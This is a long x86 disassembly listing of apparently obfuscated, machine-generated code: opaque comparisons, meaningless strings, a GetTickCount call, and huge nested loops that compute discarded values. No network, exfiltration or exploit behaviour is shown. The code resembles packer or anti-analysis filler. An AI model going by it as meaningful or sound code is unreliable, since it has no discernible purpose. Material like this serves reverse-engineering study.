and dword [ebp - 0x132c], 0
mov eax, dword [ebp - 0x132c]
mov dword [ebp - 0x1334], eax
cmp dword [ebp - 0x1334], 0
jne 0x48f2b2
and dword [ebp - 0x134c], 0
jmp 0x48f2bc
mov dword [ebp - 0x134c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20]
imul eax, dword [ebp - 0x134c]
imul eax, eax, 0xffff
test eax, eax
jne 0x48f2ed
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x20], 0
jne 0x48f2ed
and dword [ebp - 0x18c0], 0
jmp 0x48f2f7
mov dword [ebp - 0x18c0], 1
mov eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x1f8c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20]
mov dword [ebp - 0x2234], eax
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0x20], 0xf3be
test eax, eax
je 0x48f331
mov dword [ebp - 0x18c8], 1
jmp 0x48f338
and dword [ebp - 0x18c8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20]
mov dword [ebp - 0x1f94], eax
mov eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x210c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20]
sub eax, dword [ebp - 0x4b4]
mov dword [ebp - 0xe4c], eax
jmp 0x48f4ed
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x18d8], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20]
mov dword [ebp - 0x1f9c], eax
mov eax, dword [ebp - 0x23c]
cmp dword [ebp - 0x23c], eax
jl 0x48f3ad
mov dword [ebp - 0x1354], 1
jmp 0x48f3b4
and dword [ebp - 0x1354], 0
mov eax, dword [ebp - 0x390]
cmp eax, dword [ebp - 0x1354]
jle 0x48f3ce
mov dword [ebp - 0x1364], 1
jmp 0x48f3d5
and dword [ebp - 0x1364], 0
cmp dword [ebp - 0x1364], 0
jae 0x48f3f3
cmp dword [ebp - 0x23c], 0
je 0x48f3f3
mov dword [ebp - 0x1240], 1
jmp 0x48f3fa
and dword [ebp - 0x1240], 0
mov eax, dword [ebp - 0xe4c]
cmp dword [ebp - 0x1240], eax
jg 0x48f414
mov dword [ebp - 0x8f4], 1
jmp 0x48f41b
and dword [ebp - 0x8f4], 0
mov eax, dword [ebp - 0x8f4]
neg eax
je 0x48f43a
cmp dword [ebp - 0x23c], 0
je 0x48f43a
mov dword [ebp - 0x10fc], 1
jmp 0x48f441
and dword [ebp - 0x10fc], 0
mov eax, dword [ebp - 0x23c]
cmp eax, dword [ebp - 0x10fc]
je 0x48f45b
mov dword [ebp - 0x8fc], 1
jmp 0x48f462
and dword [ebp - 0x8fc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20]
cmp dword [ebp - 0x8fc], eax
jg 0x48f480
mov dword [ebp - 0xe54], 1
jmp 0x48f487
and dword [ebp - 0xe54], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20]
cmp dword [ebp - 0xe54], eax
jg 0x48f4a5
mov dword [ebp - 0x904], 1
jmp 0x48f4ac
and dword [ebp - 0x904], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20]
cmp dword [ebp - 0x904], eax
jg 0x48f4ca
mov dword [ebp - 0x18d0], 1
jmp 0x48f4d1
and dword [ebp - 0x18d0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x20]
mov dword [ebp - 0x2280], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x18d8], eax
push 4
lea ecx, [ebp - 0x1a04]
call fcn.0045223e
mov dword [ebp - 0x244], 1
mov dword [ebp - 0x18e8], 9
push 0x4f90
push 0
push 0x709
push 1
push 1
push 1
lea eax, [ebp - 0x1a04]
push eax
lea eax, [ebp - 0x2b4]
push eax
call fcn.0046ffc0
add esp, 0x20
mov dword [ebp - 0x2b4], 0
jmp 0x48f54f
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 4
jge 0x48f56b
mov eax, dword [ebp - 0x2b4]
mov dword [ebp + eax*4 - 0x2424], 0x6ea41824
jmp 0x48f542
mov dword [ebp - 0x244], 0
jmp 0x48f584
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 3
jg 0x48f83e
mov dword [ebp - 0x70], 0x252604
mov dword [ebp - 0x7f4], 0xffffffff
mov dword [ebp - 0x70], 0
jmp 0x48f5b2
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jg 0x48f839
mov dword [ebp - 0x114], 0xffffffff
mov dword [ebp - 0x1300], 0xf03fa9a1
mov dword [ebp - 0x93c], 0xfffffff7
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x114], eax
jg 0x48f5f4
mov dword [ebp - 0x1254], 1
jmp 0x48f5fb
and dword [ebp - 0x1254], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0x1254], eax
jg 0x48f615
mov dword [ebp - 0x18e0], 1
jmp 0x48f61c
and dword [ebp - 0x18e0], 0
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x7f4], eax
mov eax, dword [ebp - 0x7f4]
mov dword [ebp - 0x1fa4], eax
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0x211c], eax
cmp dword [ebp - 0x70], 0
je 0x48f661
push 2
lea ecx, [ebp - 0x1a04]
call fcn.0045232c
cmp dword [eax], 0
je 0x48f661
mov dword [ebp - 0x90c], 1
jmp 0x48f668
and dword [ebp - 0x90c], 0
cmp dword [ebp - 0x90c], 0xfffffff8
jae 0x48f67d
mov dword [ebp - 0xe5c], 1
jmp 0x48f684
and dword [ebp - 0xe5c], 0
push 0
lea ecx, [ebp - 0x1a04]
call fcn.0045232c
mov ecx, dword [ebp - 0xe5c]
cmp ecx, dword [eax]
jne 0x48f6ad
cmp dword [ebp - 0x7f4], 0
jne 0x48f6ad
and dword [ebp - 0x914], 0
jmp 0x48f6b7
mov dword [ebp - 0x914], 1
cmp dword [ebp - 0x914], 0xd2af
jg 0x48f6cf
mov dword [ebp - 0x1104], 1
jmp 0x48f6d6
and dword [ebp - 0x1104], 0
cmp dword [ebp - 0x1104], 0xfffa
jbe 0x48f6f4
cmp dword [ebp - 0x114], 0
jne 0x48f6f4
and dword [ebp - 0x91c], 0
jmp 0x48f6fe
mov dword [ebp - 0x91c], 1
mov eax, dword [ebp - 0x91c]
sub eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x70]
jle 0x48f718
mov dword [ebp - 0xe64], 1
jmp 0x48f71f
and dword [ebp - 0xe64], 0
mov eax, dword [ebp - 0x114]
cmp dword [ebp - 0xe64], eax
jne 0x48f739
mov dword [ebp - 0x924], 1
jmp 0x48f740
and dword [ebp - 0x924], 0
mov eax, dword [ebp - 0x924]
sub eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0x18e8]
jne 0x48f760
mov dword [ebp - 0x18f0], 1
jmp 0x48f767
and dword [ebp - 0x18f0], 0
mov dword [ebp - 0x1300], 9
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x1300], eax
jg 0x48f788
mov dword [ebp - 0x92c], 1
jmp 0x48f78f
and dword [ebp - 0x92c], 0
mov eax, dword [ebp - 0x114]
imul eax, dword [ebp - 0x92c]
sub eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x114]
jg 0x48f7b3
mov dword [ebp - 0xe6c], 1
jmp 0x48f7ba
and dword [ebp - 0xe6c], 0
mov eax, dword [ebp - 0x93c]
cmp dword [ebp - 0xe6c], eax
jne 0x48f7d4
mov dword [ebp - 0x934], 1
jmp 0x48f7db
and dword [ebp - 0x934], 0
cmp dword [ebp - 0x934], 1
jge 0x48f7f0
mov dword [ebp - 0x110c], 1
jmp 0x48f7f7
and dword [ebp - 0x110c], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x110c], eax
jg 0x48f814
cmp dword [ebp - 0x93c], 0
jne 0x48f814
and dword [ebp - 0xe74], 0
jmp 0x48f81e
mov dword [ebp - 0xe74], 1
mov eax, dword [ebp - 0xe74]
sub eax, dword [ebp - 0x70]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2424], eax
jmp 0x48f5ab
jmp 0x48f577
lea ecx, [ebp - 0x1a04]
call fcn.00452310
push 4
lea ecx, [ebp - 0x2128]
call fcn.0045223e
mov dword [ebp - 0x4dc], 0x66fe7d8a
mov dword [ebp - 0x19e8], 0xb3b9
push 4
lea ecx, [ebp - 0x1c84]
call fcn.0045223e
push 1
lea ecx, [ebp - 0x1408]
call fcn.0045223e
push 4
lea ecx, [ebp - 0x1a94]
call fcn.0045223e
push 1
lea ecx, [ebp - 0x1c6c]
call fcn.0045223e
mov dword [ebp - 0x1910], 0xe06985ba
mov dword [ebp - 0x1918], 0xffffffff
push 0xc96
lea eax, [ebp - 0x84c]
push eax
push 0
push 0x2cd4
push 1
push 1
push 1
push 0x135b
push 0x2e4c
lea eax, [ebp - 0x1c84]
push eax
call fcn.004862be
add esp, 0x28
push 0x592a
push 0x3f39
push 0x3129
push 1
push 0x5e8b
push 0x497e
push 0x7ecc
push 0x5683
push 0x6e7c
lea eax, [ebp - 0x1408]
push eax
push 1
push 0xeea
push 0
push 1
push 1
lea eax, [ebp - 0x84c]
push eax
call fcn.00485562
add esp, 0x40
push 0x3f92
push 0x1dae
push 1
push 1
lea eax, [ebp - 0x84c]
push eax
push 0
push 0x15a7
push 0
push 0x6743
push 0xcb6
lea eax, [ebp - 0x1a94]
push eax
call fcn.0047054e
add esp, 0x2c
push 0x6101
lea eax, [ebp - 0x1c6c]
push eax
push 1
lea eax, [ebp - 0x84c]
push eax
push 0x40f4
push 1
push 0xc20
push 0
push 1
push 0x237f
call fcn.004719d4
add esp, 0x28
push 0
lea ecx, [ebp - 0x1408]
call fcn.0045232c
and dword [eax], 0
jmp 0x48f9d0
push 0
lea ecx, [ebp - 0x1408]
call fcn.0045232c
mov dword [ebp - 0x944], eax
mov eax, dword [ebp - 0x944]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x944]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1408]
call fcn.0045232c
cmp dword [eax], 3
jg 0x48faaa
mov dword [ebp - 0x18f8], 0xfffffffb
mov dword [ebp - 0x1900], 1
mov dword [ebp - 0x1908], 0x7fc0549e
push 0x12ba
push 0x51ca
lea eax, [ebp - 0x1a94]
push eax
push 0x6240
push 0x6c13
push 1
push 1
push 0
lea eax, [ebp - 0x18f8]
push eax
push 0x5fa9
push 0x6bba
push 0
push 0x57e1
push 1
push 0
call fcn.0048860c
add esp, 0x3c
push 0
push 1
lea eax, [ebp - 0x1c84]
push eax
lea eax, [ebp - 0x1900]
push eax
lea eax, [ebp - 0x1908]
push eax
push 0x128e
push 0x7399
lea eax, [ebp - 0x1408]
push eax
lea eax, [ebp - 0x1c6c]
push eax
lea eax, [ebp - 0x1910]
push eax
push 0xb0c
push 0x3fc3
lea eax, [ebp - 0x1918]
push eax
push 1
push 1
lea eax, [ebp - 0x1a94]
push eax
call fcn.004842e7
add esp, 0x40
jmp 0x48f9ac
lea ecx, [ebp - 0x1c6c]
call fcn.00452310
lea ecx, [ebp - 0x1a94]
call fcn.00452310
lea ecx, [ebp - 0x1408]
call fcn.00452310
lea ecx, [ebp - 0x1c84]
call fcn.00452310
mov dword [ebp - 0x30c], 0x72d9ee1c
push 2
lea ecx, [ebp - 0x1aac]
call fcn.0045223e
mov dword [ebp - 0x854], 7
mov dword [ebp - 0x94c], 0xb6a7
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x4d4], 0xefb659ba
mov dword [ebp - 0xf0], 0
jmp 0x48fb2e
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 2
jge 0x48fb4d
push dword [ebp - 0xf0]
lea ecx, [ebp - 0x1aac]
call fcn.0045232c
and dword [eax], 0
jmp 0x48fb21
mov dword [ebp - 0xf0], 0
jmp 0x48fb66
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 2
jge 0x48fb82
mov eax, dword [ebp - 0xf0]
mov dword [ebp + eax*4 - 0x1ae4], 0x276cc72b
jmp 0x48fb59
push 0x2613
lea eax, [ebp - 0x854]
push eax
push 0x41cb
push 0x7f29
push 0x5b74
push 1
lea eax, [ebp - 0x204]
push eax
push 1
push 0x697
push 0
push 0x43b8
push 0x2d77
lea eax, [ebp - 0x94c]
push eax
push 0x262
lea eax, [ebp - 0x1aac]
push eax
push 0x1452
lea eax, [ebp - 0x30c]
push eax
push 0x5aea
push 0x2e68
push 0
push 0
call fcn.0046f02d
add esp, 0x54
mov dword [ebp - 0x30c], 0
jmp 0x48fc07
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 1
jg 0x48ffa8
mov dword [ebp - 0x85c], 0xbd791f9e
mov dword [ebp - 0x1938], 0xffffffff
mov dword [ebp - 0x1114], 5
mov dword [ebp - 0x125c], 0x5955
mov dword [ebp - 0x1920], str.qwuarvm_hka_gjwmodf_azl_daxm_zuxn
cmp dword [ebp - 0x125c], 0x5a0f
jle 0x48fd58
call dword [sym.imp.KERNEL32.dll_GetTickCount]
and dword [ebp - 0x4bc], 0
jmp 0x48fc72
mov eax, dword [ebp - 0x4bc]
inc eax
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 0x36ef
jge 0x48fd58
and dword [ebp - 0x398], 0
jmp 0x48fc98
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0x5e08
jge 0x48fd53
and dword [ebp - 0x4c4], 0
jmp 0x48fcbe
mov eax, dword [ebp - 0x4c4]
inc eax
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0x4c4], 0x590a
jge 0x48fd4e
and dword [ebp - 0x3a0], 0
jmp 0x48fce4
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 0x27d0
jge 0x48fd49
mov eax, dword [ebp - 0x4bc]
and eax, dword [ebp - 0x398]
xor eax, dword [ebp - 0x4c4]
xor eax, dword [ebp - 0x3a0]
cdq
mov dword [ebp - 0x1608], eax
mov dword [ebp - 0x1604], edx
push dword [ebp - 0x1604]
push dword [ebp - 0x1608]
lea ecx, [ebp - 0x2630]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.0045211e
push eax
call fcn.004b0bf7
pop ecx
lea ecx, [ebp - 0x2630]
call fcn.00452114
jmp 0x48fcd7
jmp 0x48fcb1
jmp 0x48fc8b
jmp 0x48fc65
mov dword [ebp - 0x4cc], 0
jmp 0x48fd71
mov eax, dword [ebp - 0x4cc]
inc eax
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x4cc], 4
jge 0x48fd8d
mov eax, dword [ebp - 0x4cc]
mov dword [ebp + eax*4 - 0x236c], 0xd8142c78
jmp 0x48fd64
mov dword [ebp - 4], 4
cmp dword [ebp - 0x125c], 0x577a
jge 0x48fdac
push dword [ebp - 0x1920]
call fcn.004b0bf7
pop ecx
jmp 0x48fdc8
or dword [ebp - 4], 0xffffffff
jmp 0x48fdd2
mov dword [ebp - 0x204], 0
jmp 0x48fdeb
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 1
jg 0x48ff68
mov dword [ebp - 0x1fac], 1
mov dword [ebp - 0x3a8], 0
jmp 0x48fe1b
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 2
jge 0x48fe37
mov eax, dword [ebp - 0x3a8]
mov dword [ebp + eax*4 - 0x23cc], 0xfffffffa
jmp 0x48fe0e
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1ae4]
mov dword [ebp - 0x854], eax
cmp dword [ebp - 0x854], 0
jne 0x48fe71
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1ae4]
cmp dword [ebp - 0x94c], eax
jl 0x48fe71
and dword [ebp - 0xe7c], 0
jmp 0x48fe7b
mov dword [ebp - 0xe7c], 1
push dword [ebp - 0x204]
lea ecx, [ebp - 0x1aac]
call fcn.0045232c
mov ecx, dword [ebp - 0xe7c]
inc ecx
mov eax, dword [eax]
sub eax, ecx
add eax, 0x5c7d
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x236c]
jle 0x48feb6
mov dword [ebp - 0x954], 1
jmp 0x48febd
and dword [ebp - 0x954], 0
mov eax, dword [ebp - 0x954]
mov dword [ebp - 0x1114], eax
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x1928], eax
mov eax, dword [ebp - 0x1114]
sub eax, dword [ebp - 0x85c]
mov dword [ebp - 0x1930], eax
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
mov eax, dword [ebp - 0x1928]
cmp eax, dword [ebp - 0x1930]
jle 0x48ff0e
mov dword [ebp - 0x95c], 1
jmp 0x48ff15
and dword [ebp - 0x95c], 0
mov eax, dword [ebp - 0x95c]
mov dword [ebp - 0x85c], eax
cmp dword [ebp - 0x85c], 0xbde8
jle 0x48ff42
mov eax, 0xf65ce17c
test eax, eax
je 0x48ff42
mov dword [ebp - 0xe84], 1
jmp 0x48ff49
and dword [ebp - 0xe84], 0
mov eax, dword [ebp - 0xe84]
mov dword [ebp - 0x1938], eax
cmp dword [ebp - 0x4d4], 0
je 0x48ff63
jmp 0x48fdde
jmp 0x48fdde
push 0x47d7
push 0xf44
push 0x31ca
push 0x538d
push 0
push 0x1a31
push 1
push 0x1dc3
push 0xca1
push 0x234f
push 0x5441
push 1
call fcn.00478b74
add esp, 0x30
jmp 0x48fbfa
lea ecx, [ebp - 0x1aac]
call fcn.00452310
mov dword [ebp - 0x3b0], 0
jmp 0x48ffcc
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 4
jge 0x48ffee
push dword [ebp - 0x3b0]
lea ecx, [ebp - 0x2128]
call fcn.0045232c
mov dword [eax], 0xfffffff6
jmp 0x48ffbf
mov dword [ebp - 0x4dc], 3
jmp 0x490007
mov eax, dword [ebp - 0x4dc]
dec eax
mov dword [ebp - 0x4dc], eax
cmp dword [ebp - 0x4dc], 0
jl 0x490d21
mov dword [ebp - 0x54], 0x14b733c6
push 3
lea ecx, [ebp - 0x1ac4]
call fcn.0045223e
mov dword [ebp - 0x1940], 0xfff6
mov dword [ebp - 0x3b8], 0
jmp 0x49004b
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 3
jge 0x49006d
push dword [ebp - 0x3b8]
lea ecx, [ebp - 0x1ac4]
call fcn.0045232c
mov dword [eax], 0x383cc47d
jmp 0x49003e
push 4
pop eax
test eax, eax
je 0x490117
mov eax, dword [ebp - 0x54]
sub eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x54]
jg 0x49008f
mov dword [ebp - 0x964], 1
jmp 0x490096
and dword [ebp - 0x964], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x964], eax
jne 0x4900ad
mov dword [ebp - 0x1298], 1
jmp 0x4900b4
and dword [ebp - 0x1298], 0
cmp dword [ebp - 0x1298], 0xfffffff6
je 0x4900c9
mov dword [ebp - 0x96c], 1
jmp 0x4900d0
and dword [ebp - 0x96c], 0
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x96c]
jge 0x4900e7
mov dword [ebp - 0x824], 1
jmp 0x4900ee
and dword [ebp - 0x824], 0
push 1
lea ecx, [ebp - 0x1ac4]
call fcn.0045232c
mov ecx, dword [ebp - 0x824]
mov dword [eax], ecx
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x824]
je 0x490117
and dword [ebp - 0xe8c], 0
jmp 0x490121
mov dword [ebp - 0xe8c], 1
cmp dword [ebp - 0xe8c], 0xeb6b9dd9
je 0x490139
mov dword [ebp - 0x974], 1
jmp 0x490140
and dword [ebp - 0x974], 0
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x974]
je 0x490157
mov dword [ebp - 0x111c], 1
jmp 0x49015e
and dword [ebp - 0x111c], 0
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x111c]
cmp eax, dword [ebp - 0x54]
jg 0x490187
push 1
lea ecx, [ebp - 0x1ac4]
call fcn.0045232c
cmp dword [eax], 0
jne 0x490187
and dword [ebp - 0x97c], 0
jmp 0x490191
mov dword [ebp - 0x97c], 1
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x97c], eax
jne 0x490206
push 0xbc3
push 0x2f91
push 1
push 0x756a
push 0x7043
push 0x7285
push 0x6315
push 0x29b2
push 0x1b4c
push 0
push 0x378d
push 0x3e71
push 0x2790
push 0x3224
push 1
push 0x2caf
push 0x1631
push 0x7a9c
push 1
push 0xd6e
push 0xb83
call fcn.0047c526
add esp, 0x54
jmp 0x490325
mov dword [ebp - 0x223c], 0xd70c
mov dword [ebp - 0x1d30], 0x290ce96f
push 3
lea ecx, [ebp - 0x2108]
call fcn.0045223e
mov dword [ebp - 0x1d38], 0xc00eadd5
mov dword [ebp - 0x1d40], 8
mov dword [ebp - 0x1d48], 0
mov dword [ebp - 0x1d50], 1
mov dword [ebp - 0x1d58], 0x416c
push 0
push 0x5000
lea eax, [ebp - 0x1d60]
push eax
push 0
push 0
lea eax, [ebp - 0x2108]
push eax
push 0x3df9
push 0x14be
push 0x5d6e
push 0x1982
call fcn.00486cec
add esp, 0x28
mov dword [ebp - 0x54], 0
jmp 0x49029e
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 8
jl 0x4902cf
push 0x1989
push 0
push 0x4cae
push 1
push 0x2192
push 1
push 0x41f8
push 0x8ce
push 1
call fcn.00479191
add esp, 0x24
jmp 0x490297
lea eax, [ebp - 0x1940]
push eax
push 0x1f5c
push 0x431e
push 0
push 0x73c7
push 0x74f7
push 0x1390
push 0x7a1c
push 0x3db9
push 0x5e88
push 1
push 0x53f4
push 1
push 1
push 0
push 0x51c2
call fcn.00485562
add esp, 0x40
lea ecx, [ebp - 0x2108]
call fcn.00452310
lea ecx, [ebp - 0x1ac4]
call fcn.00452310
push 0x1515
push 0xa08
push 0x2673
push 0
lea eax, [ebp - 0x19e8]
push eax
push 0x2fe0
push 0
push 0x1d0b
push 1
push 0x2503
push 1
push 0x77ce
push 0x7df2
push 1
call fcn.0046a8c8
add esp, 0x38
mov dword [ebp - 0x13b4], 0xfcb1
mov dword [ebp - 0x13b0], 0xfcb1
mov dword [ebp - 0x13ac], 0xfcb1
mov dword [ebp - 0x13a8], 0xfcb1
push 1
lea ecx, [ebp - 0x888]
call fcn.0045223e
mov dword [ebp - 0x864], 0x5fa2ef7
mov dword [ebp - 0x3d0], 0x886a6c65
push 4
lea ecx, [ebp - 0x1950]
call fcn.0045223e
mov dword [ebp - 0x14c], 0x5db5a26c
mov dword [ebp - 0x17d4], 0x3604
mov dword [ebp - 0x19c8], 0xba6d
push 0x1d23
push 0x50a8
push 0x4d09
push 1
push 0x4998
push 1
push 1
lea eax, [ebp - 0x19e4]
push eax
push 0x7f00
push 0
lea eax, [ebp - 0x888]
push eax
push 0x3213
call fcn.00470943
add esp, 0x30
push 0
push 1
push 0x3575
push 0x2b2d
lea eax, [ebp - 0x19e4]
push eax
push 1
push 0
push 1
lea eax, [ebp - 0x1950]
push eax
call fcn.004786bf
add esp, 0x24
mov dword [ebp - 0xe94], 0x3f
mov dword [ebp - 0x19d8], str.hjuszuxh_cuaful_mhterizz_pswhh_rxq_cnjxvdwh_kylyaxmbw_rpcg_gzlits_oqtpqrwm_vyrp_mpdm
cmp dword [ebp - 0xe94], 0x2bc
jle 0x49056f
and dword [ebp - 0x4e4], 0
jmp 0x490485
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x4e4], eax
cmp dword [ebp - 0x4e4], 0x3ee9
jge 0x49056f
and dword [ebp - 0x3c0], 0
jmp 0x4904ab
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 0x385c
jge 0x49056a
and dword [ebp - 0x4ec], 0
jmp 0x4904d1
mov eax, dword [ebp - 0x4ec]
inc eax
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x4ec], 0x6e1d
jge 0x490565
and dword [ebp - 0x3c8], 0
jmp 0x4904f7
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0x4bfa
jge 0x490560
mov eax, dword [ebp - 0x4e4]
add eax, dword [ebp - 0x3c0]
mov ecx, dword [ebp - 0x4ec]
sar eax, cl
mov ecx, dword [ebp - 0x3c8]
shl eax, cl
cdq
mov dword [ebp - 0x1614], eax
mov dword [ebp - 0x1610], edx
push dword [ebp - 0x1610]
push dword [ebp - 0x1614]
lea ecx, [ebp - 0x2588]
call fcn.00401993
pop ecx
pop ecx
mov ecx, eax
call fcn.0045211e
push eax
call fcn.004b0bf7
pop ecx
lea ecx, [ebp - 0x2588]
call fcn.00452114
jmp 0x4904ea
jmp 0x4904c4
jmp 0x49049e
jmp 0x490478
mov dword [ebp - 4], 6
cmp dword [ebp - 0xe94], 0xffffff03
jge 0x49058e
push dword [ebp - 0x19d8]
call fcn.004b0bf7
pop ecx
jmp 0x4905aa
or dword [ebp - 4], 0xffffffff
jmp 0x4905b4
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x13b4], 1
jb 0x4906ff
push 0
lea ecx, [ebp - 0x888]
call fcn.0045232c
cmp dword [eax], 1
jae 0x4905e6
mov dword [ebp - 0x984], 1
jmp 0x4905ed
and dword [ebp - 0x984], 0
mov eax, dword [ebp - 0x984]
mov dword [ebp - 0x864], eax
mov esi, dword [ebp - 0x864]
push 0
lea ecx, [ebp - 0x888]
call fcn.0045232c
cmp dword [eax], esi
je 0x49061c
mov dword [ebp - 0x1264], 1
jmp 0x490623
and dword [ebp - 0x1264], 0
push 0
lea ecx, [ebp - 0x888]
call fcn.0045232c
mov ecx, dword [ebp - 0x1264]
cmp ecx, dword [eax]
jl 0x490646
mov dword [ebp - 0x98c], 1
jmp 0x49064d
and dword [ebp - 0x98c], 0
push 0
lea ecx, [ebp - 0x888]
call fcn.0045232c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x98c]
jge 0x490670
mov dword [ebp - 0x18ec], 1
jmp 0x490677
and dword [ebp - 0x18ec], 0
mov eax, 0xb719
neg eax
cmp eax, 0xc80a
jg 0x490691
mov dword [ebp - 0xe9c], 1
jmp 0x490698
and dword [ebp - 0xe9c], 0
mov eax, dword [ebp - 0xe9c]
add eax, 0x4f35204f
je 0x4906ba
cmp dword [ebp - 0x864], 0
je 0x4906ba
mov dword [ebp - 0x994], 1
jmp 0x4906c1
and dword [ebp - 0x994], 0
mov eax, dword [ebp - 0x994]
mov dword [ebp - 0x3d0], eax
mov esi, dword [ebp - 0x3d0]
push 0
lea ecx, [ebp - 0x888]
call fcn.0045232c
cmp esi, dword [eax]
je 0x4906ff
push 0
lea ecx, [ebp - 0x888]
call fcn.0045232c
cmp dword [eax], 0
jne 0x4906ff
and dword [ebp - 0x770], 0
jmp 0x490709
mov dword [ebp - 0x770], 1
push 2
lea ecx, [ebp - 0x1950]
call fcn.0045232c
mov ecx, dword [ebp - 0x770]
mov dword [eax], ecx
mov eax, dword [ebp - 0x770]
add eax, 5
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x13b4]
jle 0x490742
mov dword [ebp - 0x1124], 1
jmp 0x490749
and dword [ebp - 0x1124], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x13b4]
cmp dword [ebp - 0x1124], eax
jge 0x490769
mov dword [ebp - 0x156c], 1
jmp 0x490770
and dword [ebp - 0x156c], 0
push 0
lea ecx, [ebp - 0x888]
call fcn.0045232c
push 0
lea ecx, [ebp - 0x888]
call fcn.0045232c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x13b4], 0
jne 0x4907ac
cmp dword [ebp - 0x3d0], 0
jne 0x4907ac
and dword [ebp - 0x99c], 0
jmp 0x4907b6
mov dword [ebp - 0x99c], 1
mov eax, dword [ebp - 0x99c]
mov dword [ebp - 0x14c], eax
push 3
lea ecx, [ebp - 0x1950]
call fcn.0045232c
cmp dword [eax], 0
je 0x490863
mov dword [ebp - 0x14c], 0xffffffec
jmp 0x4907f1
mov eax, dword [ebp - 0x14c]
dec eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0xffffffea
je 0x49085e
mov byte [ebp - 0x11f], 0
lea eax, [ebp - 0x11f]
push eax
push 0x46ec
push 0x40bc
push 0x2d1e
push 1
push 0
push 0x1d72
push 0x7bc4
push 1
push 1
push 0x58ee
push 1
push 1
push 0x116
push 0x243
call fcn.004828d8
add esp, 0x3c
push 0x3932
push 0
push 1
push 0
push 0x5290
call fcn.0047b900
add esp, 0x14
jmp 0x4907e4
jmp 0x4909d6
mov dword [ebp - 0xeac], 0x2932384
